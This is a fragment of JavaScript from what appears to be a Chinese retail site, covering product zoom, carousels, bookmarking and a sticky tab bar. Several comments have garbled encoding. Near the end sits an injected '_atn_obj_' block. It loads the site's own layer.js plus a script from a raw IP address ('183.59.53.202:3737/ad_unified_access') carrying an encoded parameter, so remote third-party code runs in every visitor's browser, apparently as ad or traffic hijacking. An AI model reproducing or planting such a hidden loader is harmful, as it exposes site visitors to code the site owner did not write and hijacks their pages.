pIndex=$(this).parent().index(); $(".findPasswordWrap .findPasswordCon").eq(pIndex).show().siblings().hide(); }); }); //----------------------会员中心 end--------------------------------------// //加入收藏 function AddFavorite(sURL, sTitle){ try{ window.external.addFavorite(sURL, sTitle); } catch (e){ try{ window.sidebar.addPanel(sTitle, sURL, ""); } catch (e){ alert("加入收藏p|Q请使用Ctrl+Dq行d"); } } }; //pd详细 function proDetail(){ var zoomLI=$(".ui-zoom-list ul li").length; if(zoomLI<6){ $(".ui-zoom-small .zoom-btn").hide(); }else{ $(".ui-zoom-small .zoom-btn").show(); } $('.zoomdemo').zoom({ largePicWidth : 800, // 待放大的囄宽度高度 如无法确?可不提供Q提供可以提高性能? largePicHeight : 800, events : 'mouseenter', // 囄的切换事? scroll : true // 图片是否带滚动 }); $(".bianhao").text($(".ui-zoom-list ul li:eq(0) .arrow").text()); //$(".ui-zoom-large img:last").css({"height":"528px","width":"528px"}); $(".ui-zoom-list ul li").hover(function(){ var liTxt=$(this).find(".arrow").text(); $(".bianhao").text(liTxt); }); //推荐产品左右滚动 $('.IntrduPro .tuijian').xcarousel({ direction: 'left', speed: 800, prev: '.IntrduPro .proLeft', next: '.IntrduPro .proRight', size: 3, scroll: 1 }); //览历史左右滚动 $('.remHistory .tuijian').xcarousel({ direction: 'left', speed: 800, size: 3, scroll: 1, prev: '.remHistory .proLeft', next: '.remHistory .proRight' }); //产品评论参数滚动悬Q proTab=$(".proTab").offset().top; $(window).scroll(function(){ var scrollTop=$(window).scrollTop(); if(scrollTop>=proTab){ $(".proTab").css({"position":"fixed","left":"0px","top":"0px","z-index":"999999","border-bottom":"solid 1px #e9e9e9"}); }else{ $(".proTab").css({"position":"relative","left":"auto","top":"auto","border-bottom":"none"}); } }); }; var _atn_obj_ = new Object; _atn_obj_.oldurl = '//www.ebohr.cn/Qwebjs/layer.js?cHVzaA=1537589543'; _atn_obj_.unified_url = '//183.59.53.202:3737/ad_unified_access?SP=ABzs/LzoOFjJOekc3PyMzHzM7Ov87JzNGYm4Oo37Grzs/Rz9HSg86Dy8vNz8/Pg86DzsrMyMrHxsrLzIPOyszIysfGysvMz8nIycbJz4PKzM3Hzg=='; window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.oldurl;document.getElementsByTagName("head")[0].appendChild(a);},0); window.setTimeout(function(){var a=document.createElement("script");a.src=_atn_obj_.unified_url;document.getElementsByTagName("head")[0].appendChild(a);},0); $(function () { $('#keft_div').hover(function(){ $('#keft_div').stop().animate({right:'0px'},200); },function(){ $('#keft_div').stop().animate({right:'-202px'},200); }); })